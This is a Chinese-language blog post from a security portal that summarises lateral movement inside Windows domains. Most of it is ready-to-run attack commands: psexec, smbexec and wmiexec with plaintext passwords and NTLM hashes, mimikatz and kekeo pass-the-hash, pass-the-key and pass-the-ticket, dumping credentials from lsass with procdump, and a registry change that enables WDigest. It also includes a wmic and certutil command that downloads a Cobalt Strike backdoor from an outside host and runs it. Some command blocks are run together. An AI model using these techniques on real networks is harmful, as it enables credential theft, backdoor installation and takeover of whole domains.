freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透学习|-域内横向移动总结
2021-12-31 16:29:14
所属地 山西省

域内横向移动总结

在内网渗透中,最重要的一部分就是横向移动,攻击者利用该技术可以也凭借拿到shell的主机当作跳板,访问域内的其他主机,从而扩大攻击面,进一步往域控进攻,最后控制整个内网权限。

0x001横向移动常见工具使用:

SMB横向-psexec&smbexec
SMB渗透至Hash传递攻击原理:SMB可以直接基于TCP协议或者NetBIOS over TCP,SMB的认证可以基于SMB,也可以基于kerberos,这两种认证方式,前者本质上使用了hash,后者本质上使用了ticket,导致了SMB的PTH和PTT攻击存在的基础。

利用条件:445端口开放

**使用psexec:**psexec是windows提供的工具,所以杀毒软件将其列在白名单中,,通过psexec可以将管理员权限提升至system权限以运行指定程序。psexec基本原理是:通过管道在远程计算机上创建一个psexec服务,并在本地磁盘中生成一个名为"PSESESVC"的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。首先需要获取目标操作系统的交互式shell。在建立ipc$的情况下,执行如下命令。获取system权限的shell。

net use \\靶机ip\ipc$ "Whoami2021" /user:administrator先建立ipc连接psexec \\靶机ip -s cmd 
net use \\靶机ip\ipc$ "Whoami2021" IR/user:administrator#建立了ipc连接psexec \\靶机ip -s cmd #-s参数为以system权限运行

在无法获取到明文密码时使用NTLM Hash进行PTH攻击

psexec -hashes :$HASH$ ./administrator@靶机ip
#本地admin用户hash传递psexec -hashes :$HASH$ xxx.com/administrator@靶机ip 
#域admin用户hash传递psexec -hashes :518b98ad417a53695dc997aa02d455c xxx.com/administrator@靶机ip
#hash传递需要第三方包impacket

使用smbexec:```#明文smbexec god/administrator:Admin12345@192.168.3.21 #域用户smbexec ./administrator:admin12345@192.168.3.32 #本地用户#hashsmbexec -hashes :$HASH$ ./administrator@192.168.3.21 #本地用户hash传递smbexec -hashes :$HASH$ xxx.com/admin@192.168.3.21 #域用户hash传递smbexec -hashes :518b98ad417a53695dc997aa02d455c xxx.com/administrator@192.168.3.32 #本地用户hash传递smbexec -hashes :518b98ad417a53695dc997aa02d455c ./administrator@192.168.3.32#域用户hash传递`
``WMI横向-wmic&cscript&wmiexec
windows系统都支持WMI,WMI是由一系列工具集成的,可以在本地或者远程管理计算机系统,主要通过135端口进行利用,支持明文或者Hash的方式进行认证,该手法并不会在操作系统中留下日志,推荐使用该方法进行内网的横向移动。**利用条件:**目标机开启135端口,注意目标主机是否打过KB2871997,参考前置知识点3

WMIC使用执行命令:wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe /c ipconfig >C:\ip.txt"
我们已经使用目标系统cmd.exe执行了一条命令ipconfig,保存在c盘下的ip.txt中。

如果不是管理员账户administrator或者sid值为500可能会的错,我们先建立ipc连接后可使用type命令读取结果执行命令:
net use \\靶机ip\ipc$ "Whoami2021" /user:administrator 建立ipc连接type \\靶机ip\C$\ip.txt

以上介绍了WMI的基本命令,然后我们来尝试WMIC上线CS目标主机下载后门文件:
wmic /node:靶机ip /user:administrator /password:Whoami2021 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.43.199/artifact.exe C:/artifact.exe"

执行上线wmic /node:靶机ip /user:administrator /password:Whoami2021 process call create "cmd.exe c:/artifact.exe"

image-20211107164745027

cscript使用**(Windows内置工具,可生成一个交互式shell)**执行命令:
cscript //nologo vmiexec.vbs /shell 192.168.1.1 administrator 1234.a 上传vmiexec.vbs 到目标主机 返回一个交互式shell
image-20211205193643536

**wmiexec(可以进行hash传递)明文连接wmiexec ./administrator:Whoami2021@靶机ip "whoami" 明文连接
image-20211205193727614

**hash连接
wmiexec -hashes :HASH值./administrator@靶机ip "whoami" hash连接
image-20211205193759557

以上就是内网中常见横向移动的工具,下面介绍常见横向移动手法。

0x002哈希传递攻击(PTH):

在内网横向移动时常用的就是PTH攻击了,该方法通过寻找到与账户相关的密码散列值(通常是NTLM Hash)进行攻击

使用mimikatz对NTLM Hash进行hash传递
privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
此时会弹出一个cmd.exe

image-20211205193831904

0x003密钥传递攻击(PTK):

主要使用AES-256密钥进行哈希传递在内网渗透中经常抓取不到明文密码,如果目标主机安装KB2871997那么就可以使用PTK进行横向移动。前提是目标系统必须安装KB2871991,但是注意因为目标主机打过KB2871997所以必须使用SID值为500的账户进行横向 参考前置知识点3

使用mimikatz抓取AES-256密钥,命令如下
privilege::debugsekurlsa::ekeys
在远程目标主机中执行
sekurlsa::pth /user:administrator /domain:god /aes256:64f2cda9c6aa77302edc1362fd1a1c49cf4bd8c4f52ea7a17a2741b67a278faddir \\dc\c$ 注意dir后跟的是主机名,不是ip

0x003票据传递攻击(PTT):

PTT主要是利用票据凭证TGT进行横向渗透测试(Kerberos认证攻击),想要使用mimikatz的hash传递功能,必须要有本地管理员权限,mimikatz同样提供了不需要本地管理员权限进行横向移动的方法,例如PTT,接下来介绍PTT攻击的思路。

1.使用mimikatz,可以将内存中的票据导出。命令如下
privilege::debugsekurlsa::tickets /export

执行上面命令后,会在当前目录下出现多个服务的票据文件。

将票据文件注入到内存中。命令如下
kerberos::ptt "C:\Users\bunny\Desktop\mimikatz\[0;23104e]-2-1-40e10000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi"
image-20211107164923054

列出文件目录

image-20211107164934709

2.使用keokeo进行票据传递kekeo需要使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接到计算机。在目标主机输入以下命令,运行kekeo,在当前目录下生成一个票据文件
tgt::ask /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
image-20211205193916086在kekeo中清除当前内存中其他票据,否则可能会导致票据传递失败

image-20211107165004181kerberos::ptt TGT_administrator@WHOAMIANONY.org@WHOAMIANONY.ORG.kirbi
此时,攻击者就可以利用Windows 7可任意访问域中所有机器,可以使用net use进行登录或者使用psexec,wmi等方法进行远程执行命令了,具体操作同上,不再演示。

内网小tips

Tip1:

LM Hash和NTLM Hash:

windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。

LM Hash其本质是使用DES加密,从windows vista和windows server2008开始 windows默认禁用LM Hash。如果LM Hash被禁用了,攻击者通过工具抓取LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"(表示LM Hash为空或被禁用)。

NTLM Hash是基于MD4加密算法进行加密的。从windows vista windows server2003以后均为NTLM Hash加密。

Tip2:

windows server2012以上默认关闭Wdigest,使攻击者无法从内存中抓取明文密码。

windows server2012以下版本,如果打了KB2871997,攻击者同样也无法获取明文密码。

针对这种情况可以尝试使用以下手法:

1.利用hash传递(PTH,PTT,PTK)传递攻击

2.利用windows服务(SMB-psexec&smbexec,WMI-cscript&wmiexec&wmic)

3.破解hash值利用hashcat等。

4.修改注册表开启Wdigest Auth的值,值为1时用户下次登录攻击者就能使用工具获取到明文密码。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启Wdigest 需要管理员权限执行

Tip3:

更新KB2871997补丁产生的影响,KB2871997禁止通过本地管理员权限与远程计算机进行连接,其后果无法通过本地管理员权限对远程计算机使用PsExec,WMI,at,也无法访问远程主机的文件共享等。

更新KB2871997后,无法从内存中获取明文密码,也无法使用常规的PTH方法进行横向移动,但是只要SID为500的值的账号就能进行横向移动,不会受到KB2871997的影响。

获取SID的值:

wmic useraccount get name,sid

Tip4:

单机密码抓取,使用procdump在线导出lsass.dmp文件,再用mimikat离线z导出lsass.dump文件中的密码散列值。procdump是微软官方发布的工具,杀软并不会拦截。

1:使用procdump将lsass.exe 导出

procdump.exe -accepteula -ma lsass.exe lsass.dmp

2:使用mimikatz导出lsass.dmp文件中的密码散列值

sekurlsa::minidump lsass.DMP

出现Switch to MINIDUMP : 'lsass.DMP'表示加载成功

sekurlsa::logonPasswords full 导出密码散列值
**知识点5:**

在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH的方法,将散列值或明文密码传递到目标主机进行验证,与目标主机建立连接后,可以使用相关的方法,在远程windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络环境较差,无法使用图形化界面远程连接主机。此时最好选择命令行的方式进行执行。而在实际网络环境中,针对此类情况,网络管理员可以通过配置windows防火墙或增加组策略进行防御。
下面介绍横向移动中最常用的命令 IPC
ipc共享"命名管道符"的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在使用远程查看计算机共享资源时使用的。
通过ipc不仅可以查看文件 还能执行上传下载功能。
ipc利用条件:

1:开启139 445端口 ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139 445端口,可以实现对文件共享/打印机的访问。
2:管理员开启默认共享 默认共享是为了方便管理员远程管理而默认开启的,包括所有的逻辑盘和系统目录。可通过ipc进行连接。
建立IPC连接命令:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator

# 内网渗透 # 总结 # 横向移动
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录